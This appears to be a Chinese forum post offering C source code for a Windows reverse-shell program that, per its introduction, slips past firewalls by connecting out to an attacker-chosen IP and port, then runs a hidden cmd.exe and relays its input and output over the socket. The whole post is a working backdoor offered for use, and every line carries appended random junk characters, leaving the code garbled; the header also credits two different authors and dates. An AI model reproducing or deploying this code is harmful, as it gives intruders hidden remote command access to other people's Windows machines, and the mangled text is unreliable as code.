这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 vZ^U]h V
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/* ============================== 0w vAtK|Q
Rebound port in Windows NT *&V"x=ba,
By wind,2006/7 A-rj: k!
===============================*/ ^
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#include *nv^s
#include 5'<mfY'B
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#pragma comment(lib,"wsock32.lib") +x~p&,w?
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void OutputShell(); !Y/S 2J
SOCKET sClient; APCE}%1U
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; C^:{y
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void main(int argc,char **argv) ,| j\x
{ KTeR;6oZn"
WSADATA stWsaData; k`s_31<
int nRet; 0n={Mb
SOCKADDR_IN stSaiClient,stSaiServer; 90ov[|MkM
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if(argc != 3) bw!*=<
{ `(6cRT`Wp
printf("Useage:\n\rRebound DestIP DestPort\n"); ~B7<Yg
return; VZ7E#z+nM#
} *?>52 -&b
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4H{$zMq8
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GgE
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stSaiClient.sin_family = AF_INET; Bw9O)++
stSaiClient.sin_port = htons(0); 1)f <
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &'?Hh(
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ U99Uny9
printf("Bind Socket Failed!\n"); Cm0K-~
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return; A7T(p7pP
} uC[F'\Y
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stSaiServer.sin_family = AF_INET; +
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ME.!l6lm\
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Qtt3;5m
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3{TE6&HIa
{ zy|h1.gd
printf("Connect Error!"); Z2-"NB
return; aY DM)b}
} O(:/&`)
OutputShell();
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} y(Em+YTD
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void OutputShell() xhB-gG=
{ _,f7D/dq
char szBuff[1024]; f=Oj01Ut*
SECURITY_ATTRIBUTES stSecurityAttributes; .\3gb6S}
OSVERSIONINFO stOsversionInfo; 4E$d"D5]>p
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \{qtdTd
STARTUPINFO stStartupInfo; +F>erdV
char *szShell; K?yMy,9%Yw
PROCESS_INFORMATION stProcessInformation; 7Jpq7;
unsigned long lBytesRead; JM53sx4&
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H8m[:K]_H
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <@y(ikp>
stSecurityAttributes.lpSecurityDescriptor = 0; `X B$t?xi
stSecurityAttributes.bInheritHandle = TRUE; 3ik~PgGoKQ
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); urQ<r{$x0
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); zXkq2\GHA
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); i1 GQ=@
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; we
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stStartupInfo.wShowWindow = SW_HIDE; s=Kz9WLy
stStartupInfo.hStdInput = hReadPipe; MVEh<_
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =p dLh
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GetVersionEx(&stOsversionInfo); 1k{H,p7
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switch(stOsversionInfo.dwPlatformId) QoMa+QTuc
{ 9Fg:
case 1: .Y }k@T40a
szShell = "command.com"; 5D mSgP:
break; cs4IO
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default: M7YbRl
szShell = "cmd.exe"; G{zxP%[E
break; *=Ma5J.
} |`+ (O
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kZfj"+p_S
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send(sClient,szMsg,77,0); FMitIM*]
while(1) .Vs|&c2im
{ t&IWKu#
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >;}(?+|f
if(lBytesRead) X9rao n
{ KXBTJ&
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); g3Ul'QJ
send(sClient,szBuff,lBytesRead,0); T^ #1T$
} L:.Rv0XT
else {yMkd4v
{ V8Z@y&ny
lBytesRead=recv(sClient,szBuff,1024,0); ZbH_h]1$D
if(lBytesRead<=0) break; V=Z%y$1Bc
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); iaQFVROu
} Z5`V\$
} QJI]@3
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return; HaF&ooI5+
}